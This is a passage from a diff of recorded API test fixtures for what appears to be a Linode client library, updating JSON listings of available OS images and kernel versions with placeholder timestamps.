- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo",
- "expiry": null, "eol": null, "status": "available"}, {"id": "linode/kali", "label":
- "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05",
+ "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label":
+ "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol":
- null, "status": "available"}, {"id": "linode/debian11-kube-v1.20.15", "label":
- "Kubernetes 1.20.15 on Debian 11", "deprecated": false, "size": 3500, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian9-kube-v1.20.7", "label": "Kubernetes 1.20.7 on Debian 9", "deprecated":
- false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "description": "", "created_by": "linode", "type": "manual", "is_public": true,
- "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
- "available"}, {"id": "linode/debian9-kube-v1.21.1", "label": "Kubernetes 1.21.1
- on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
+ "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17",
+ "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18",
+ "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch",
+ "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol":
+ null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label":
+ "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8",
+ "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9",
+ "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10",
+ "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.21.12",
- "label": "Kubernetes 1.21.12 on Debian 11", "deprecated": false, "size": 3500,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian9-kube-v1.22.2", "label": "Kubernetes 1.22.2 on Debian 9", "deprecated":
- false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "description": "", "created_by": "linode", "type": "manual", "is_public": true,
- "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
- "available"}, {"id": "linode/debian11-kube-v1.22.9", "label": "Kubernetes 1.22.9
- on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11",
+ "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.23.6",
- "label": "Kubernetes 1.23.6 on Debian 11", "deprecated": false, "size": 3500,
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora36",
+ "label": "Fedora 36", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37",
+ "label": "Fedora 37", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38",
+ "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/gentoo",
+ "label": "Gentoo", "deprecated": false, "size": 5500, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol":
+ null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label":
+ "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol":
+ null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.24.8",
+ "label": "Kubernetes 1.24.8 on Debian 11", "deprecated": false, "size": 3500,
"created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
"", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/opensuse15.3", "label": "openSUSE Leap 15.3", "deprecated": false, "size":
- 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": false, "size":
- 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300,
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/debian11-kube-v1.25.4", "label": "Kubernetes 1.25.4 on Debian
+ 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated":
+ "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
+ "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05",
+ "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.1",
+ "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": false, "size": 3500,
"created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size":
- 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware",
- "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available"}, {"id":
+ "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian
+ 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated":
+ "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
+ "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05",
+ "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label":
+ "openSUSE Leap 15.4", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8",
+ "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9",
+ "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2",
+ "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null,
+ "eol": "1970-01-01T05:00:00", "status": "available", "capabilities": []}, {"id":
"linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size":
- 10000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
+ 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
"", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware",
- "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu16.04lts",
- "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05",
+ "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id":
+ "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size":
+ 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
+ "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu",
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated":
+ false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
+ "description": "", "created_by": "linode", "type": "manual", "is_public": true,
+ "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
+ "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu
+ 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu18.04",
- "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.04",
+ "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu20.04",
- "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.10",
+ "label": "Ubuntu 22.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu22.04",
- "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.04",
+ "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos8", "label":
- "CentOS 8", "deprecated": true, "size": 2300, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9",
+ "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.1",
+ "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1",
"label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null,
- "eol": null, "status": "available"}, {"id": "linode/ubuntu21.04", "label": "Ubuntu
- 21.04", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05",
- "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu21.10",
- "label": "Ubuntu 21.10", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05",
- "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}], "results": 45, "page": 1}'
+ "eol": null, "status": "available", "capabilities": []}], "results": 36, "page":
+ 1}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleListKernels_all.yaml b/test/integration/fixtures/ExampleListKernels_all.yaml
index fbfb2bcb4..d2c5ee7a5 100644
--- a/test/integration/fixtures/ExampleListKernels_all.yaml
+++ b/test/integration/fixtures/ExampleListKernels_all.yaml
@@ -19,11 +19,31 @@ interactions:
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label":
"Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false,
"architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)",
- "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)",
+ "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label":
"Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture":
"i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version":
+ "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180",
+ "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159",
+ "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179",
+ "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158",
+ "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178",
+ "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version":
+ "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177",
+ "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"},
{"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156",
"version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176",
@@ -242,27 +262,7 @@ interactions:
"i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
{"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version":
"4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104",
- "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version":
- "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100",
- "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version":
- "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
- "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label":
- "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386",
- "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97",
- "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture":
- "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version":
- "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
- "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label":
- "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386",
- "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page":
- 1, "pages": 4, "results": 314}'
+ true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -317,9 +317,28 @@ interactions:
url: https://api.linode.com/v4beta/linode/kernels?page=2
method: GET
response:
- body: '{"data": [{"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94",
- "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label":
+ body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104",
+ "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102",
+ "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version":
+ "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label":
+ "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386",
+ "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98",
+ "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version":
+ "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
+ "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label":
+ "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386",
+ "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95",
+ "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture":
+ "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version":
+ "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true,
+ "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label":
"4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386",
"pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90",
"label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture":
@@ -510,8 +529,8 @@ interactions:
true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6
(2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture":
"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/latest-64bit", "label": "Latest 64 bit (5.19.2-x86_64-linode156)",
- "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)",
+ "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10",
"label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm":
false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built":
@@ -534,28 +553,8 @@ interactions:
"5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128",
"label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127",
- "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126",
- "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125",
- "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true,
- "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124",
- "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version":
- "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122",
- "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture":
- "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
- {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121",
- "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
- true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120",
- "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture":
"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}],
- "page": 2, "pages": 4, "results": 314}'
+ "page": 2, "pages": 4, "results": 322}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -610,7 +609,27 @@ interactions:
url: https://api.linode.com/v4beta/linode/kernels?page=3
method: GET
response:
- body: '{"data": [{"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119",
+ body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127",
+ "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126",
+ "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125",
+ "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true,
+ "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124",
+ "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version":
+ "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122",
+ "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121",
+ "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120",
+ "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture":
+ "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"},
+ {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119",
"version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118",
"label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture":
@@ -839,28 +858,8 @@ interactions:
"2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated":
true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17",
